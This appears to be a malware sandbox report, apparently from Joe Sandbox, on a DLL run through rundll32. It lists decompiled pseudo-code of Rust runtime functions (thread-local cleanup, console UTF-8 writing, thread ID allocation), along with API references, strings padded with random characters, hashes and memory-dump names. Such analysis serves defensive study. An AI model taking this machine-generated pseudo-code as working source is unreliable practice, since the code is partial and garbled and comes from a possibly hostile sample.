							TlsSetValue( *(_t54 + 4), 0);
							 *_t54(_t29);
							_t57 = _t57 + 4;
							_t44 = 1;
						}
						_t54 =  *((intOrPtr*)(_t54 + 8));
					} while (_t54 != 0);
					if((_t44 & 0x00000001) == 0) {
						goto L26;
					}
					_t55 =  *0x6ea4e12c; // 0x0
					if(_t55 == 0) {
						goto L26;
					}
					_t45 = 0;
					do {
						_t30 = TlsGetValue( *(_t55 + 4));
						if(_t30 != 0) {
							TlsSetValue( *(_t55 + 4), 0);
							 *_t55(_t30);
							_t57 = _t57 + 4;
							_t45 = 1;
						}
						_t55 =  *((intOrPtr*)(_t55 + 8));
					} while (_t55 != 0);
					if((_t45 & 0x00000001) != 0) {
						_t56 =  *0x6ea4e12c; // 0x0
						while(_t56 != 0) {
							_t31 = TlsGetValue( *(_t56 + 4));
							if(_t31 != 0) {
								TlsSetValue( *(_t56 + 4), 0);
								 *_t56(_t31);
								_t57 = _t57 + 4;
							}
							_t56 =  *((intOrPtr*)(_t56 + 8));
						}
					}
					goto L26;
				} else {
					L26:
					_t26 =  *0x6ea4a300; // 0x70
					return _t26;
				}
			}

0x6e9fc344
0x6e9fc34b
0x6e9fc355
0x6e9fc35d
0x00000000
0x00000000
0x6e9fc369
0x6e9fc377
0x6e9fc37a
0x6e9fc37e
0x6e9fc387
0x6e9fc38e
0x6e9fc391
0x6e9fc394
0x6e9fc394
0x6e9fc370
0x6e9fc373
0x6e9fc39b
0x00000000
0x00000000
0x6e9fc3a1
0x6e9fc3a9
0x00000000
0x00000000
0x6e9fc3af
0x6e9fc3c7
0x6e9fc3ca
0x6e9fc3ce
0x6e9fc3d7
0x6e9fc3de
0x6e9fc3e1
0x6e9fc3e4
0x6e9fc3e4
0x6e9fc3c0
0x6e9fc3c3
0x6e9fc3eb
0x00000000
0x00000000
0x6e9fc3f1
0x6e9fc3f9
0x00000000
0x00000000
0x6e9fc3fb
0x6e9fc407
0x6e9fc40a
0x6e9fc40e
0x6e9fc417
0x6e9fc41e
0x6e9fc421
0x6e9fc424
0x6e9fc424
0x6e9fc400
0x6e9fc403
0x6e9fc42b
0x00000000
0x00000000
0x6e9fc42d
0x6e9fc435
0x00000000
0x00000000
0x6e9fc437
0x6e9fc447
0x6e9fc44a
0x6e9fc44e
0x6e9fc457
0x6e9fc45e
0x6e9fc461
0x6e9fc464
0x6e9fc464
0x6e9fc440
0x6e9fc443
0x6e9fc46b
0x6e9fc479
0x6e9fc484
0x6e9fc48b
0x6e9fc48f
0x6e9fc498
0x6e9fc49f
0x6e9fc4a2
0x6e9fc4a2
0x6e9fc481
0x6e9fc481
0x6e9fc484
0x00000000
0x6e9fc46d
0x6e9fc46d
0x6e9fc46d
0x6e9fc476
0x6e9fc476

APIs

TlsGetValue.KERNEL32(?), ref: 6E9FC37A
TlsSetValue.KERNEL32(?,00000000), ref: 6E9FC387
TlsGetValue.KERNEL32(?), ref: 6E9FC3CA
TlsSetValue.KERNEL32(?,00000000), ref: 6E9FC3D7
TlsGetValue.KERNEL32(?), ref: 6E9FC40A
TlsSetValue.KERNEL32(?,00000000), ref: 6E9FC417
TlsGetValue.KERNEL32(?), ref: 6E9FC44A
TlsSetValue.KERNEL32(?,00000000), ref: 6E9FC457
TlsGetValue.KERNEL32(?), ref: 6E9FC48B
TlsSetValue.KERNEL32(?,00000000), ref: 6E9FC498

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 89e25225169d3af6e1661ceb3ad32254ee099c9712b9f67fc61d4a07bbef381a
Instruction ID: b7ed031a69119aa868b5012dca492683e28dcc5c3ba19b038d6e567ef76a0717
Opcode Fuzzy Hash: 89e25225169d3af6e1661ceb3ad32254ee099c9712b9f67fc61d4a07bbef381a
Instruction Fuzzy Hash: 33419E71184349EFDF40AEE49C11BAA3758AF12784F04C024FE245E251E7A1DA27AF9A

Uniqueness

Uniqueness Score: -1.00%

Function 6EA01BF0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 212
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E6EA01BF0(void* __ebx, struct _OVERLAPPED** __ecx, void* __edx, void* __edi, void* __ebp, signed char _a4, signed char* _a8) {
				char _v20;
				void* _v24;
				char _v44;
				long _v48;
				void* _v52;
				signed int _v56;
				char _v60;
				void* __esi;
				long _t57;
				void* _t58;
				long _t60;
				signed int _t61;
				long _t81;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t91;
				char _t93;
				void* _t96;
				void* _t97;
				signed int _t100;
				signed int _t101;
				struct _OVERLAPPED* _t102;
				signed int _t105;
				signed int* _t106;
				signed int _t110;
				signed char _t112;
				void* _t114;
				long _t118;
				void** _t119;
				void* _t120;
				long _t122;
				void* _t125;
				void* _t133;
				struct _OVERLAPPED** _t135;
				void* _t144;
				long _t152;
				signed char* _t155;
				DWORD* _t156;
				void* _t157;
				void** _t158;
				void** _t160;

				_push(__ebp);
				_push(__ebx);
				_push(__edi);
				_t158 = _t157 - 0x30;
				_t152 = _a4;
				_t135 = __ecx;
				if(_t152 == 0) {
					 *(__ecx + 4) = 0;
					goto L5;
				} else {
					_t96 = __edx;
					_t58 = GetStdHandle(0xfffffff4);
					if(_t58 == 0) {
						_t57 = 6;
						goto L7;
					} else {
						_t133 = _t58;
						if(_t58 != 0xffffffff) {
							_v48 = 0;
							_t60 = GetConsoleMode(_t133,  &_v48);
							__eflags = _t60;
							if(_t60 == 0) {
								__eflags = _t133;
								if(__eflags == 0) {
									goto L42;
								} else {
									_v48 = 0;
									_t81 = WriteFile(_t133, _t96, _t152,  &_v48, 0);
									__eflags = _t81;
									if(_t81 == 0) {
										_t57 = GetLastError();
										_t102 = 0;
										__eflags = 0;
										_t122 = 1;
									} else {
										_t102 = _v48;
										_t57 = 0;
										_t122 = 0;
									}
									 *_t135 = _t122;
									_t135[1] = _t102;
									_t135[2] = _t57;
									goto L9;
								}
							} else {
								_t57 = _a8[4] & 0x000000ff;
								__eflags = _t57;
								if(_t57 == 0) {
									__eflags = _t152 - 0x1000;
									_t84 =  <  ? _t152 : 0x1000;
									_push( <  ? _t152 : 0x1000);
									E6E9F3650( &_v60, _t96);
									_t158 =  &(_t158[1]);
									__eflags = _v60 - 1;
									if(_v60 != 1) {
										_t86 = _v56;
										_t97 = _v52;
										goto L28;
									} else {
										__eflags = _v56;
										if(_v56 == 0) {
											_t87 =  *_t96 & 0x000000ff;
											_t38 = _t87 + 0x6ea3f570; // 0x1010101
											_t105 =  *_t38 & 0x000000ff;
											__eflags = _t105 - 2;
											if(_t105 < 2) {
												L39:
												_t135[2] = 0x6ea408cc;
												_t135[1] = 0x1502;
												goto L40;
											} else {
												__eflags = _t105 - _t152;
												if(_t105 <= _t152) {
													goto L39;
												} else {
													_t106 = _a8;
													 *_t106 = _t87;
													_t106[1] = 1;
													goto L38;
												}
											}
											goto L9;
										} else {
											_t88 = _v56;
											__eflags = _t88 - _t152;
											if(__eflags > 0) {
												_t100 = _t88;
												_t118 = _t152;
												_push(0x6ea40904);
												goto L45;
											} else {
												_t125 = _t96;
												_push(_t88);
												E6E9F3650( &_v48, _t125);
												_t158 =  &(_t158[1]);
												_t86 = L6EA02730(_t96,  &_v48, _t133, _t135);
												_t97 = _t125;
												L28:
												_push(_t97);
												_push(_t86);
												_t57 = L6EA02470(_t97, _t135, _t133, _t133, _t135);
												_t158 =  &(_t158[2]);
												goto L9;
											}
										}
									}
								} else {
									__eflags = _t57 - 4;
									if(_t57 >= 4) {
										E6EA199A0("Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx", 0x3a, 0x6ea4086c);
										_t158 =  &(_t158[1]);
										asm("ud2");
										L42:
										_t61 = E6EA194E0(_t96,  &M6EA3FBBA, 0x23, _t133, _t135, __eflags, 0x6ea3fc64);
										_t158 =  &(_t158[1]);
										asm("ud2");
										goto L43;
									} else {
										_t110 =  *_t96;
										_t155 = _a8;
										__eflags = (_t110 & 0x000000c0) - 0x80;
										if((_t110 & 0x000000c0) != 0x80) {
											_a4 = 0;
											goto L24;
										} else {
											_t155[_t57] = _t110;
											_t112 = _a4 + 1;
											_a4 = _t112;
											_t57 =  *_t155 & 0x000000ff;
											_t96 =  *(_t57 + 0x6ea3f570) & 0x000000ff;
											__eflags = _t96 - _t112;
											_v24 = _t96;
											if(_t96 <= _t112) {
												_t61 = _t112 & 0x000000ff;
												__eflags = _t112 - 5;
												if(__eflags >= 0) {
													L43:
													_t100 = _t61;
													_t118 = 4;
													_push(0x6ea408d4);
													L45:
													E6EA19470(_t96, _t100, _t118, _t133, _t135, __eflags);
													_t160 =  &(_t158[1]);
													asm("ud2");
													goto L46;
												} else {
													_push(_t61);
													_t57 = E6E9F3650( &_v60, _t155);
													_t158 =  &(_t158[1]);
													__eflags = _v60 - 1;
													_a4 = 0;
													if(_v60 == 1) {
														L24:
														_t135[2] = 0x6ea408cc;
														_t135[1] = 0x1502;
														goto L8;
													} else {
														_t114 = _v52;
														_t91 = _v56;
														__eflags = _t114 - _t96;
														 *_t158 = _t114;
														if(_t114 != _t96) {
															L46:
															_t101 =  &_v24;
															_t119 = _t160;
															_v48 = 0;
															_push(0x6ea408e4);
															_push( &_v48);
															goto L48;
														} else {
															_t156 =  &_v48;
															_push(_t96);
															_push(_t91);
															L6EA02470(_t96, _t156, _t133, _t133, _t135);
															_t160 =  &(_t158[2]);
															__eflags = _v48 - 1;
															if(_v48 != 1) {
																_t93 = _v44;
																 *_t160 = _t96;
																__eflags = _t93 - _t96;
																_v20 = _t93;
																if(_t93 != _t96) {
																	_t101 =  &_v20;
																	_t119 = _t160;
																	_v48 = 0;
																	_push(0x6ea408f4);
																	_push(_t156);
																	L48:
																	E6EA19AB0(_t96, _t101, _t119, _t133);
																	asm("ud2");
																	L50();
																	_t120 = _t135;
																	__eflags = _t101 - 0x46a;
																	if(_t101 > 0x46a) {
																		__eflags = _t101 - 0x271c;
																		if(_t101 <= 0x271c) {
																			__eflags = _t101 - 0x1715;
																			if(_t101 > 0x1715) {
																				__eflags = _t101 - 0x1f4d;
																				if(_t101 > 0x1f4d) {
																					__eflags = _t101 - 0x1f4e;
																					if(_t101 == 0x1f4e) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x2022;
																						if(_t101 == 0x2022) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x25e9;
																							if(_t101 != 0x25e9) {
																								goto L106;
																							} else {
																								goto L93;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x1716;
																					if(_t101 == 0x1716) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x1b64;
																						if(_t101 == 0x1b64) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x1b80;
																							if(_t101 == 0x1b80) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x4cf;
																				if(_t101 > 0x4cf) {
																					__eflags = _t101 - 0x4d0;
																					if(_t101 == 0x4d0) {
																						return 4;
																					} else {
																						__eflags = _t101 - 0x50f;
																						if(_t101 == 0x50f) {
																							return 0x1a;
																						} else {
																							__eflags = _t101 - 0x5b4;
																							if(_t101 == 0x5b4) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x46b;
																					if(_t101 == 0x46b) {
																						return 0x1e;
																					} else {
																						__eflags = _t101 - 0x476;
																						if(_t101 == 0x476) {
																							return 0x20;
																						} else {
																							__eflags = _t101 - 0x4cf;
																							if(_t101 != 0x4cf) {
																								goto L106;
																							} else {
																								return 5;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t144 = _t101 - 0x271d;
																			__eflags = _t144 - 0x34;
																			if(_t144 <= 0x34) {
																				goto __edx;
																			}
																			__eflags = _t101 - 0x3c2a - 2;
																			if(_t101 - 0x3c2a < 2) {
																				goto L93;
																			} else {
																				__eflags = _t101 - 0x35ed;
																				if(_t101 == 0x35ed) {
																					goto L93;
																				} else {
																					goto L106;
																				}
																			}
																		}
																	} else {
																		__eflags = _t101 - 0xb6;
																		if(_t101 > 0xb6) {
																			__eflags = _t101 - 0x10a;
																			if(_t101 <= 0x10a) {
																				__eflags = _t101 - 0xde;
																				if(_t101 <= 0xde) {
																					__eflags = _t101 - 0xb7;
																					if(_t101 == 0xb7) {
																						return 0xc;
																					} else {
																						__eflags = _t101 - 0xce;
																						if(_t101 != 0xce) {
																							goto L106;
																						} else {
																							return 0x21;
																						}
																					}
																				} else {
																					__eflags = _t101 - 0xdf;
																					if(_t101 == 0xdf) {
																						return 0x1b;
																					} else {
																						__eflags = _t101 - 0xe8;
																						if(_t101 == 0xe8) {
																							return 0xb;
																						} else {
																							__eflags = _t101 - 0x102;
																							if(_t101 == 0x102) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x3e2;
																				if(_t101 > 0x3e2) {
																					__eflags = _t101 - 0x3e3;
																					if(_t101 == 0x3e3) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x41d;
																						if(_t101 == 0x41d) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x461;
																							if(_t101 == 0x461) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x10b;
																					if(_t101 == 0x10b) {
																						return 0xe;
																					} else {
																						__eflags = _t101 - 0x150;
																						if(_t101 == 0x150) {
																							return 0xf;
																						} else {
																							__eflags = _t101 - 0x252;
																							if(_t101 == 0x252) {
																								L93:
																								return 0x16;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t101 = _t101 + 0xfffffffe;
																			__eflags = _t101 - 0xa8;
																			if(_t101 <= 0xa8) {
																				_t120 = _t120 +  *((intOrPtr*)(0x6ea020f8 + _t101 * 4));
																				goto __edx;
																			}
																			L106:
																			return 0x28;
																		}
																	}
																} else {
																	L38:
																	_t57 = 0;
																	_t135[1] = 1;
																	 *_t135 = 0;
																	goto L9;
																}
															} else {
																asm("movsd xmm0, [esp+0x14]");
																asm("movsd [esi+0x4], xmm0");
																L40:
																_t57 = 1;
																 *_t135 = 1;
																goto L9;
															}
														}
													}
												}
											} else {
												_t135[1] = 1;
												L5:
												 *_t135 = 0;
												goto L9;
											}
										}
									}
								}
							}
						} else {
							_t57 = GetLastError();
							L7:
							_t135[1] = 0;
							_t135[2] = _t57;
							L8:
							 *_t135 = 1;
							L9:
							return _t57;
						}
					}
				}
			}

0x6ea01bf0
0x6ea01bf1
0x6ea01bf2
0x6ea01bf4
0x6ea01bf7
0x6ea01bfb
0x6ea01bff
0x6ea01c1e
0x00000000
0x6ea01c01
0x6ea01c01
0x6ea01c05
0x6ea01c0d
0x6ea01c2d
0x00000000
0x6ea01c0f
0x6ea01c0f
0x6ea01c14
0x6ea01c4e
0x6ea01c58
0x6ea01c5e
0x6ea01c60
0x6ea01cb9
0x6ea01cbb
0x00000000
0x6ea01cc1
0x6ea01cc1
0x6ea01cd3
0x6ea01cd9
0x6ea01cdb
0x6ea01d55
0x6ea01d5b
0x6ea01d5b
0x6ea01d5d
0x6ea01cdd
0x6ea01cdd
0x6ea01ce1
0x6ea01ce3
0x6ea01ce3
0x6ea01d62
0x6ea01d64
0x6ea01d67
0x00000000
0x6ea01d67
0x6ea01c62
0x6ea01c66
0x6ea01c6a
0x6ea01c6c
0x6ea01ce7
0x6ea01cf8
0x6ea01cfb
0x6ea01cfc
0x6ea01d01
0x6ea01d04
0x6ea01d09
0x6ea01d6f
0x6ea01d73
0x00000000
0x6ea01d0b
0x6ea01d0b
0x6ea01d10
0x6ea01de9
0x6ea01dec
0x6ea01dec
0x6ea01df3
0x6ea01df6
0x6ea01e2b
0x6ea01e2b
0x6ea01e32
0x00000000
0x6ea01df8
0x6ea01df8
0x6ea01dfa
0x00000000
0x6ea01dfc
0x6ea01dfc
0x6ea01e00
0x6ea01e02
0x00000000
0x6ea01e02
0x6ea01dfa
0x00000000
0x6ea01d16
0x6ea01d16
0x6ea01d1a
0x6ea01d1c
0x6ea01e85
0x6ea01e87
0x6ea01e89
0x00000000
0x6ea01d22
0x6ea01d26
0x6ea01d2a
0x6ea01d2b
0x6ea01d30
0x6ea01d35
0x6ea01d3a
0x6ea01d77
0x6ea01d7b
0x6ea01d7c
0x6ea01d7d
0x6ea01d82
0x00000000
0x6ea01d82
0x6ea01d1c
0x6ea01d10
0x6ea01c6e
0x6ea01c6e
0x6ea01c70
0x6ea01e54
0x6ea01e59
0x6ea01e5c
0x6ea01e5e
0x6ea01e6d
0x6ea01e72
0x6ea01e75
0x00000000
0x6ea01c76
0x6ea01c76
0x6ea01c78
0x6ea01c81
0x6ea01c84
0x6ea01d3e
0x00000000
0x6ea01c8a
0x6ea01c8a
0x6ea01c91
0x6ea01c93
0x6ea01c96
0x6ea01c9a
0x6ea01ca1
0x6ea01ca3
0x6ea01ca7
0x6ea01d8a
0x6ea01d8d
0x6ea01d90
0x6ea01e77
0x6ea01e77
0x6ea01e79
0x6ea01e7e
0x6ea01e8e
0x6ea01e8e
0x6ea01e93
0x6ea01e96
0x00000000
0x6ea01d96
0x6ea01d9c
0x6ea01d9d
0x6ea01da2
0x6ea01da5
0x6ea01daa
0x6ea01dae
0x6ea01d42
0x6ea01d42
0x6ea01d49
0x00000000
0x6ea01db0
0x6ea01db0
0x6ea01db4
0x6ea01db8
0x6ea01dba
0x6ea01dbd
0x6ea01e98
0x6ea01e98
0x6ea01e9c
0x6ea01e9e
0x6ea01ea6
0x6ea01eaf
0x00000000
0x6ea01dc3
0x6ea01dc3
0x6ea01dcb
0x6ea01dcc
0x6ea01dcd
0x6ea01dd2
0x6ea01dd5
0x6ea01dda
0x6ea01e08
0x6ea01e0c
0x6ea01e0f
0x6ea01e11
0x6ea01e15
0x6ea01eb2
0x6ea01eb6
0x6ea01eb8
0x6ea01ec0
0x6ea01ec5
0x6ea01ec6
0x6ea01ec6
0x6ea01ece
0x6ea01ed1
0x6ea01ed6
0x6ea01ed9
0x6ea01edf
0x6ea01f05
0x6ea01f0b
0x6ea01f29
0x6ea01f2f
0x6ea01fa2
0x6ea01fa8
0x6ea0205e
0x6ea02064
0x00000000
0x6ea02066
0x6ea02066
0x6ea0206c
0x00000000
0x6ea0206e
0x6ea0206e
0x6ea02074
0x00000000
0x00000000
0x00000000
0x00000000
0x6ea02074
0x6ea0206c
0x6ea01fae
0x6ea01fae
0x6ea01fb4
0x00000000
0x6ea01fba
0x6ea01fba
0x6ea01fc0
0x00000000
0x6ea01fc6
0x6ea01fc6
0x6ea01fcc
0x00000000
0x6ea01fd2
0x00000000
0x6ea01fd2
0x6ea01fcc
0x6ea01fc0
0x6ea01fb4
0x6ea01f31
0x6ea01f31
0x6ea01f37
0x6ea02020
0x6ea02026
0x6ea020a1
0x6ea02028
0x6ea02028
0x6ea0202e
0x6ea020f1
0x6ea02034
0x6ea02034
0x6ea0203a
0x00000000
0x6ea0203c
0x00000000
0x6ea0203c
0x6ea0203a
0x6ea0202e
0x6ea01f3d
0x6ea01f3d
0x6ea01f43
0x6ea020dd
0x6ea01f49
0x6ea01f49
0x6ea01f4f
0x6ea020e1
0x6ea01f55
0x6ea01f55
0x6ea01f5b
0x00000000
0x6ea01f61
0x6ea01f64
0x6ea01f64
0x6ea01f5b
0x6ea01f4f
0x6ea01f43
0x6ea01f37
0x6ea01f0d
0x6ea01f0d
0x6ea01f13
0x6ea01f16
0x6ea01f23
0x6ea01f23
0x6ea0200e
0x6ea02011
0x00000000
0x6ea02013
0x6ea02013
0x6ea02019
0x00000000
0x6ea0201b
0x00000000
0x6ea0201b
0x6ea02019
0x6ea02011
0x6ea01ee1
0x6ea01ee1
0x6ea01ee7
0x6ea01f65
0x6ea01f6b
0x6ea01fd7
0x6ea01fdd
0x6ea02082
0x6ea02088
0x6ea02099
0x6ea0208a
0x6ea0208a
0x6ea02090
0x00000000
0x6ea02092
0x6ea02095
0x6ea02095
0x6ea02090
0x6ea01fe3
0x6ea01fe3
0x6ea01fe9
0x6ea020ed
0x6ea01fef
0x6ea01fef
0x6ea01ff5
0x6ea0209d
0x6ea01ffb
0x6ea01ffb
0x6ea02001
0x00000000
0x6ea02003
0x00000000
0x6ea02003
0x6ea02001
0x6ea01ff5
0x6ea01fe9
0x6ea01f6d
0x6ea01f6d
0x6ea01f73
0x6ea02041
0x6ea02047
0x00000000
0x6ea02049
0x6ea02049
0x6ea0204f
0x00000000
0x6ea02051
0x6ea02051
0x6ea02057
0x00000000
0x6ea02059
0x00000000
0x6ea02059
0x6ea02057
0x6ea0204f
0x6ea01f79
0x6ea01f79
0x6ea01f7f
0x6ea020e5
0x6ea01f85
0x6ea01f85
0x6ea01f8b
0x6ea020e9
0x6ea01f91
0x6ea01f91
0x6ea01f97
0x6ea02076
0x6ea02079
0x6ea01f9d
0x00000000
0x6ea01f9d
0x6ea01f97
0x6ea01f8b
0x6ea01f7f
0x6ea01f73
0x6ea01ee9
0x6ea01ee9
0x6ea01eec
0x6ea01ef2
0x6ea01ef8
0x6ea01eff
0x6ea01eff
0x6ea020f2
0x6ea020f5
0x6ea020f5
0x6ea01ee7
0x6ea01e1b
0x6ea01e1b
0x6ea01e1b
0x6ea01e1d
0x6ea01e24
0x00000000
0x6ea01e24
0x6ea01ddc
0x6ea01ddc
0x6ea01de2
0x6ea01e39
0x6ea01e39
0x6ea01e3e
0x00000000
0x6ea01e3e
0x6ea01dda
0x6ea01dbd
0x6ea01dae
0x6ea01cad
0x6ea01cad
0x6ea01c25
0x6ea01c25
0x00000000
0x6ea01c25
0x6ea01ca7
0x6ea01c84
0x6ea01c70
0x6ea01c6c
0x6ea01c16
0x6ea01c16
0x6ea01c32
0x6ea01c32
0x6ea01c39
0x6ea01c3c
0x6ea01c3c
0x6ea01c42
0x6ea01c49
0x6ea01c49
0x6ea01c14
0x6ea01c0d

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,6EA01A7E,?), ref: 6EA01C05
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,6EA01A7E,?), ref: 6EA01C16
GetConsoleMode.KERNEL32(00000000,?), ref: 6EA01C58
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 6EA01CD3
GetLastError.KERNEL32(?,?,?,00000000), ref: 6EA01D55

Strings

assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb, xrefs: 6EA01E5E
Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx, xrefs: 6EA01E45

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: ErrorLast$ConsoleFileHandleModeWrite
String ID: Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx$assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb
API String ID: 4172320683-1866377508
Opcode ID: 801dcbcb48c3685a349ac5a989a0f218251d6662cdadbcd91ec75c41a66b37fe
Instruction ID: 0ffd348f4da13151132fde37d447b45907eff6603bd1157ef1043bb72deca5f8
Opcode Fuzzy Hash: 801dcbcb48c3685a349ac5a989a0f218251d6662cdadbcd91ec75c41a66b37fe
Instruction Fuzzy Hash: 8171B0706083058FD3108FA5E5947BA7BE5AFA630CF14882DE4DA8B380D735D98DCB1A

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FC4D0, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E6E9FC4D0(void* __ebx, void* __edi, void* __esi, void* _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v40;
				long _v48;
				void* __ebp;
				void* _t22;
				void* _t29;
				void* _t30;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				void* _t54;

				_t32 = __ebx;
				_v32 = _t54 - 0x20;
				_v20 = 0xffffffff;
				_v24 = E6EA03990;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_v48 = 0;
				__imp__AcquireSRWLockExclusive(0x6ea4e108, __esi, __edi, __ebx);
				_t47 =  *0x6ea4d038; // 0x1
				_t50 =  *0x6ea4d03c; // 0x0
				_v40 = 0x6ea4e108;
				_t43 = _t47 & _t50;
				if(_t43 == 0xffffffff) {
					L8:
					_v36 = _t43;
					__imp__ReleaseSRWLockExclusive(0x6ea4e108);
					_v20 = 0;
					_t22 = E6EA199A0("failed to generate unique thread ID: bitspace exhausted", 0x37, 0x6ea3fa80);
					goto L10;
				} else {
					 *0x6ea4d038 = _t47 + 1;
					asm("adc ecx, 0x0");
					 *0x6ea4d03c = _t50;
					if((_t47 | _t50) == 0) {
						_v36 = _t43;
						_v20 = 0;
						_t22 = E6EA194E0(__ebx, "called `Option::unwrap()` on a `None` value", 0x2b, _t47, _t50, __eflags, 0x6ea3fa90);
						L10:
						asm("ud2");
						__eflags = _v36 - 0xffffffff;
						if(_v36 != 0xffffffff) {
							E6E9FC6B0(_t22,  &_v40);
						}
						return E6E9FC690( &_v48);
					} else {
						__imp__ReleaseSRWLockExclusive(0x6ea4e108);
						_t29 =  *0x6ea4e128; // 0x2f30000
						if(_t29 != 0) {
							L5:
							_t30 = HeapAlloc(_t29, 0, 0x20);
							if(_t30 == 0) {
								goto L7;
							} else {
								 *(_t30 + 8) = _t47;
								 *(_t30 + 0xc) = _t50;
								 *(_t30 + 0x10) = 0;
								 *((char*)(_t30 + 0x18)) = 0;
								 *_t30 = 1;
								 *(_t30 + 4) = 1;
								 *[fs:0x0] = _v28;
								return _t30;
							}
						} else {
							_t29 = GetProcessHeap();
							if(_t29 == 0) {
								L7:
								_t43 = 8;
								E6EA192F0(_t32, 0x20, 8, _t47, _t50, __eflags);
								asm("ud2");
								goto L8;
							} else {
								 *0x6ea4e128 = _t29;
								goto L5;
							}
						}
					}
				}
			}

0x6e9fc4d0
0x6e9fc4d9
0x6e9fc4dc
0x6e9fc4e3
0x6e9fc4f4
0x6e9fc4f7
0x6e9fc4fd
0x6e9fc509
0x6e9fc50f
0x6e9fc515
0x6e9fc51b
0x6e9fc524
0x6e9fc529
0x6e9fc5bf
0x6e9fc5bf
0x6e9fc5c7
0x6e9fc5cd
0x6e9fc5e3
0x00000000
0x6e9fc52f
0x6e9fc536
0x6e9fc53d
0x6e9fc542
0x6e9fc548
0x6e9fc5ed
0x6e9fc5f0
0x6e9fc606
0x6e9fc60e
0x6e9fc60e
0x6e9fc617
0x6e9fc61b
0x6e9fc620
0x6e9fc620
0x6e9fc631
0x6e9fc54e
0x6e9fc553
0x6e9fc559
0x6e9fc560
0x6e9fc570
0x6e9fc575
0x6e9fc57c
0x00000000
0x6e9fc57e
0x6e9fc57e
0x6e9fc581
0x6e9fc584
0x6e9fc58b
0x6e9fc58f
0x6e9fc595
0x6e9fc59f
0x6e9fc5ad
0x6e9fc5ad
0x6e9fc562
0x6e9fc562
0x6e9fc569
0x6e9fc5ae
0x6e9fc5b3
0x6e9fc5b8
0x6e9fc5bd
0x00000000
0x6e9fc56b
0x6e9fc56b
0x00000000
0x6e9fc56b
0x6e9fc569
0x6e9fc560
0x6e9fc548

APIs

AcquireSRWLockExclusive.KERNEL32(6EA4E108), ref: 6E9FC509
ReleaseSRWLockExclusive.KERNEL32(6EA4E108), ref: 6E9FC553
GetProcessHeap.KERNEL32 ref: 6E9FC562
HeapAlloc.KERNEL32(02F30000,00000000,00000020), ref: 6E9FC575
ReleaseSRWLockExclusive.KERNEL32(6EA4E108), ref: 6E9FC5C7

Strings

